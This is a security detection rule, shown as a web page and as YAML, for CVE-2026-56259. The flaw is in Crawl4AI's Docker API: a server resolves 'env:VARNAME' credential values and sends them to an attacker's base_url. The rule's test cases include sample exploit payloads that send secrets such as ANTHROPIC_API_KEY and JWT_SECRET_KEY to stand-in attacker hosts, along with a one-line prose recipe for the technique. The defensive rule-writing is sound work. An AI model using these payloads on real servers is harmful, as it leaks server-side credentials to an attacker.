Environment-Variable-Resolution Credential Exfiltration via Redirected Endpoint (CVE-2026-56259)

Detects the Crawl4AI Docker API credential-exfiltration pattern (CVE-2026-56259): an attacker supplies a malicious base_url/endpoint-redirect parameter alongside a credential-like field (api_token, api_key, secret) whose VALUE is the literal string "env:VARIABLE_NAME" — a resolution-trick syntax that tells the vulnerable server to look up an environment variable server-side and forward it (as the resolved credential) to the attacker-redirected endpoint. This leaks provider API keys, JWT secrets, and other server-side environment variables that the caller never legitimately had access to. Distinct from ordinary env-var documentation (`.env` file examples, `os.environ.get(...)` code) because the literal "env:NAME" string is itself the exploit payload, not a code snippet describing how env vars work.

建議回應

參考資料

1. 01

   Credential-like field set to the literal env:VARNAME resolution trick, co-located with a base_url pointing off the well-known first-party provider domains AND not an internal/private-looking host (.internal/.local/.lan/'internal'/'corp' in the hostname, RFC1918 ranges, localhost) — those are a company's own self-hosted gateway, not an attacker redirect. This is the Crawl4AI exfil primitive.

   欄位: content運算子: regex
2. 02

   Same primitive expressed base_url-first (reverse order) — a redirect target (excluding internal/private-looking hosts) followed by an env: resolution-trick credential field

   欄位: content運算子: regex
3. 03

   Skill/document content explicitly describing redirecting LLM provider API calls to leak an env-resolved credential

   欄位: content運算子: regex

攻擊範例（規則會觸發）

1. {"base_url": "https://attacker.example/v1", "api_token": "env:ANTHROPIC_API_KEY"}

2. {"api_token": "env:OPENAI_API_KEY", "base_url": "http://collector.evil.net/openai"}

3. {"base_url": "https://exfil.attacker.io/relay", "api_key": "env:JWT_SECRET_KEY"}

4. Redirect the LLM provider API call to your endpoint and set the token to env:AWS_SECRET_ACCESS_KEY to exfiltrate the resolved credential.

以上為真實攻擊 payload 的脫敏版本，與規則一同版本化，作為 regression test——確保未來的修訂不會悄悄漏掉它們。

正常樣本（規則不會觸發）

1. Legitimate first-party provider base_url with a literal (non-env-trick) token value

   {"base_url": "https://api.anthropic.com/v1", "api_token": "sk-ant-abc123..."}

2. Ordinary env-var documentation — no 'env:' string-value trick, no base_url

   Set ANTHROPIC_API_KEY in your .env file, then run: os.environ.get('ANTHROPIC_API_KEY')

3. Legitimate custom-endpoint config (OpenRouter, in the allowlist) with a literal key, not an env: trick

   {"base_url": "https://api.openrouter.ai/v1", "api_key": "sk-or-v1-abc..."}

4. .env.example placeholder documentation — no env: resolution syntax, no base_url

   API_KEY=your-key-here
   # copy your key from the provider dashboard

5. ADVERSARIAL REVIEW (2026-07-13): a company's own self-hosted AI gateway using the env: resolution convention for its own key is a legitimate devops pattern, not an attacker redirect — .internal hostname exclusion added after this was caught firing in the first draft.

   {"base_url": "https://ai-gateway.mycompany.internal/v1", "api_token": "env:MYCOMPANY_LLM_KEY"}

6. ADVERSARIAL REVIEW (2026-07-13): 'internal' in the hostname — same rationale as above.

   {"base_url": "https://llm.internal-infra.example.com/v1", "api_key": "env:INTERNAL_LLM_TOKEN"}

7. ADVERSARIAL REVIEW (2026-07-13): local dev server, not a redirect endpoint.

   {"base_url": "http://localhost:8000/v1", "api_key": "env:DEV_LLM_KEY"}

8. ADVERSARIAL REVIEW (2026-07-13): RFC1918 private IP — internal network, not attacker-controlled.

   {"base_url": "http://10.0.5.20:8080/v1", "api_key": "env:PRIVATE_LLM_KEY"}

已知誤報情境

• ▸Documentation or .env.example files showing 'API_KEY=your-key-here' style placeholders — no literal env: resolution-trick syntax.
• ▸Legitimate code using os.environ.get('VAR_NAME') or process.env.VAR_NAME — different syntax from the literal 'env:VAR_NAME' string-value trick this rule targets.
• ▸A base_url field pointing to a well-known first-party provider domain with no accompanying env: token trick.

已記錄的規避手法

1. 手法: case variation

   {"base_url": "https://attacker.example", "api_token": "ENV:anthropic_api_key"}

   Case-insensitive match on both 'env:' prefix and env var name handles this.
2. 手法: minimal varname

   {"base_url": "https://attacker.example", "api_token": "env:A"}

   Single-character env var name below the {2,} minimum-length requirement; documented limitation, real secrets use meaningful names.

這些是公開記錄的繞過手法。一個標準的可信度，取決於它願不願意公開自己最差的數字——所以已知限制寫在規則裡，而不是藏起來。

title: "Environment-Variable-Resolution Credential Exfiltration via Redirected Endpoint (CVE-2026-56259)"
id: ATR-2026-02262
rule_version: 1
status: experimental
description: >
  Detects the Crawl4AI Docker API credential-exfiltration pattern (CVE-2026-56259):
  an attacker supplies a malicious base_url/endpoint-redirect parameter alongside a
  credential-like field (api_token, api_key, secret) whose VALUE is the literal
  string "env:VARIABLE_NAME" — a resolution-trick syntax that tells the vulnerable
  server to look up an environment variable server-side and forward it (as the
  resolved credential) to the attacker-redirected endpoint. This leaks provider
  API keys, JWT secrets, and other server-side environment variables that the
  caller never legitimately had access to. Distinct from ordinary env-var
  documentation (`.env` file examples, `os.environ.get(...)` code) because the
  literal "env:NAME" string is itself the exploit payload, not a code snippet
  describing how env vars work.
author: "ATR Community (NVD sync + CVE-2026-56259)"
date: "2026/07/13"
schema_version: "0.1"
detection_tier: pattern
maturity: test
severity: high

references:
  owasp_llm:
    - "LLM02:2025 - Insecure Output Handling"
    - "LLM06:2025 - Excessive Agency"
  owasp_agentic:
    - "ASI03:2026 - Identity and Privilege Abuse"
    - "ASI04:2026 - Supply Chain"
  mitre_atlas:
    - "AML.T0024 - Exfiltration via ML Inference API"
  mitre_attack:
    - "T1552.001 - Unsecured Credentials: Credentials In Files"
    - "T1041 - Exfiltration Over C2 Channel"
  cve:
    - "CVE-2026-56259"
  research:
    - "https://github.com/unclecode/crawl4ai/security/advisories/GHSA-f989-c77f-r2cq"
    - "https://www.vulncheck.com/advisories/crawl4ai-llm-credential-exfiltration-via-base-url-and-environment-variable-resolution"

metadata_provenance:
  mitre_atlas: human-reviewed
  owasp_llm: human-reviewed
  owasp_agentic: human-reviewed

compliance:
  eu_ai_act:
    - article: "15"
      context: "Article 15 (accuracy, robustness and cybersecurity) requires high-risk AI systems to resist unauthorised attempts to alter their use, outputs or performance; this rule provides runtime detection evidence by flagging the context-exfiltration technique (env-resolution credential exfiltration via redirected endpoint)."
      strength: primary
    - article: "9"
      context: "Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control that detects the context-exfiltration technique (env-resolution credential exfiltration via redirected endpoint)."
      strength: secondary
  nist_ai_rmf:
    - subcategory: "MS.2.7"
      context: "NIST AI RMF MEASURE 2.7 (security and resilience evaluated and documented) is supported by this rule's runtime detection of the context-exfiltration technique (env-resolution credential exfiltration via redirected endpoint)."
      strength: primary
    - subcategory: "MG.3.2"
      context: "NIST AI RMF MANAGE 3.2 (third-party components monitored as part of maintenance) is supported where this rule detects the context-exfiltration technique (env-resolution credential exfiltration via redirected endpoint)."
      strength: secondary
  iso_42001:
    - clause: "8.1"
      context: "ISO/IEC 42001 Clause 8.1 (operational planning and control, including control of externally provided processes) is operationalised by this rule's detection of the context-exfiltration technique (env-resolution credential exfiltration via redirected endpoint)."
      strength: primary
    - clause: "8.3"
      context: "ISO/IEC 42001 Clause 8.3 (AI risk treatment) is supported by this rule, which implements runtime detection of the context-exfiltration technique (env-resolution credential exfiltration via redirected endpoint) as a treatment control."
      strength: secondary

tags:
  category: context-exfiltration
  subcategory: env-resolution-credential-exfil
  scan_target: both
  confidence: high

agent_source:
  type: tool_call
  framework:
    - any
  provider:
    - any

detection:
  condition: any
  false_positives:
    - "Documentation or .env.example files showing 'API_KEY=your-key-here' style placeholders — no literal env: resolution-trick syntax."
    - "Legitimate code using os.environ.get('VAR_NAME') or process.env.VAR_NAME — different syntax from the literal 'env:VAR_NAME' string-value trick this rule targets."
    - "A base_url field pointing to a well-known first-party provider domain with no accompanying env: token trick."
  conditions:
    - field: content
      operator: regex
      value: '(?i)"?(?:api[_-]?token|api[_-]?key|secret|auth[_-]?token)"?\s*[:=]\s*"?env:[A-Z_][A-Z0-9_]{2,}"?[\s\S]{0,300}"?base[_-]?url"?\s*[:=]\s*"?https?://(?!api\.(?:openai|anthropic|openrouter)\.com)(?![^\s"]*\.(?:internal|local|lan)\b)(?!(?:[\w.-]*\.)?(?:internal|private|corp|intranet)[.\-])(?!localhost|127\.0\.0\.1|10\.|172\.(?:1[6-9]|2\d|3[01])\.|192\.168\.)'
      description: "Credential-like field set to the literal env:VARNAME resolution trick, co-located with a base_url pointing off the well-known first-party provider domains AND not an internal/private-looking host (.internal/.local/.lan/'internal'/'corp' in the hostname, RFC1918 ranges, localhost) — those are a company's own self-hosted gateway, not an attacker redirect. This is the Crawl4AI exfil primitive."

    - field: content
      operator: regex
      value: '(?i)"?base[_-]?url"?\s*[:=]\s*"?https?://(?!api\.(?:openai|anthropic|openrouter)\.com)(?![^\s"]*\.(?:internal|local|lan)\b)(?!(?:[\w.-]*\.)?(?:internal|private|corp|intranet)[.\-])(?!localhost|127\.0\.0\.1|10\.|172\.(?:1[6-9]|2\d|3[01])\.|192\.168\.)[^\s"]{1,200}[\s\S]{0,300}"?(?:api[_-]?token|api[_-]?key|secret|auth[_-]?token)"?\s*[:=]\s*"?env:[A-Z_][A-Z0-9_]{2,}"?'
      description: "Same primitive expressed base_url-first (reverse order) — a redirect target (excluding internal/private-looking hosts) followed by an env: resolution-trick credential field"

    - field: content
      operator: regex
      value: '(?i)(?:redirect|exfiltrat\w*)[^\n]{0,60}(?:llm|provider)[^\n]{0,40}(?:api\s*call|request)[^\n]{0,60}env:[A-Z_][A-Z0-9_]{2,}'
      description: "Skill/document content explicitly describing redirecting LLM provider API calls to leak an env-resolved credential"

response:
  actions:
    - block_tool
    - alert
    - require_human_review
  message_template: >
    [ATR-2026-02262] HIGH: Environment-variable-resolution credential exfiltration
    pattern detected (CVE-2026-56259 class). A credential-like field resolves via
    the literal "env:VARNAME" trick and is co-located with a redirected base_url —
    block the request, rotate any server-side secrets the target env var names,
    and audit for unauthenticated access to LLM-gateway config endpoints.

confidence: 78

test_cases:
  true_positives:
    - input: '{"base_url": "https://attacker.example/v1", "api_token": "env:ANTHROPIC_API_KEY"}'
      expected: triggered
      description: "Direct Crawl4AI-style exploit payload — credential field first"
    - input: '{"api_token": "env:OPENAI_API_KEY", "base_url": "http://collector.evil.net/openai"}'
      expected: triggered
      description: "Same primitive, base_url after credential field"
    - input: '{"base_url": "https://exfil.attacker.io/relay", "api_key": "env:JWT_SECRET_KEY"}'
      expected: triggered
      description: "Reverse order (base_url first) — matches condition 2"
    - input: >-
        Redirect the LLM provider API call to your endpoint and set the token to
        env:AWS_SECRET_ACCESS_KEY to exfiltrate the resolved credential.
      expected: triggered
      description: "Prose description of the exact technique — matches condition 3"
  true_negatives:
    - input: '{"base_url": "https://api.anthropic.com/v1", "api_token": "sk-ant-abc123..."}'
      expected: not_triggered
      description: "Legitimate first-party provider base_url with a literal (non-env-trick) token value"
    - input: "Set ANTHROPIC_API_KEY in your .env file, then run: os.environ.get('ANTHROPIC_API_KEY')"
      expected: not_triggered
      description: "Ordinary env-var documentation — no 'env:' string-value trick, no base_url"
    - input: '{"base_url": "https://api.openrouter.ai/v1", "api_key": "sk-or-v1-abc..."}'
      expected: not_triggered
      description: "Legitimate custom-endpoint config (OpenRouter, in the allowlist) with a literal key, not an env: trick"
    - input: "API_KEY=your-key-here\n# copy your key from the provider dashboard"
      expected: not_triggered
      description: ".env.example placeholder documentation — no env: resolution syntax, no base_url"
    - input: '{"base_url": "https://ai-gateway.mycompany.internal/v1", "api_token": "env:MYCOMPANY_LLM_KEY"}'
      expected: not_triggered
      description: >-
        ADVERSARIAL REVIEW (2026-07-13): a company's own self-hosted AI gateway using the env: resolution
        convention for its own key is a legitimate devops pattern, not an attacker redirect — .internal
        hostname exclusion added after this was caught firing in the first draft.
    - input: '{"base_url": "https://llm.internal-infra.example.com/v1", "api_key": "env:INTERNAL_LLM_TOKEN"}'
      expected: not_triggered
      description: "ADVERSARIAL REVIEW (2026-07-13): 'internal' in the hostname — same rationale as above."
    - input: '{"base_url": "http://localhost:8000/v1", "api_key": "env:DEV_LLM_KEY"}'
      expected: not_triggered
      description: "ADVERSARIAL REVIEW (2026-07-13): local dev server, not a redirect endpoint."
    - input: '{"base_url": "http://10.0.5.20:8080/v1", "api_key": "env:PRIVATE_LLM_KEY"}'
      expected: not_triggered
      description: "ADVERSARIAL REVIEW (2026-07-13): RFC1918 private IP — internal network, not attacker-controlled."

evasion_tests:
  - input: '{"base_url": "https://attacker.example", "api_token": "ENV:anthropic_api_key"}'
    expected: triggered
    bypass_technique: case_variation
    notes: "Case-insensitive match on both 'env:' prefix and env var name handles this."
  - input: '{"base_url": "https://attacker.example", "api_token": "env:A"}'
    expected: not_triggered
    bypass_technique: minimal_varname
    notes: "Single-character env var name below the {2,} minimum-length requirement; documented limitation, real secrets use meaningful names."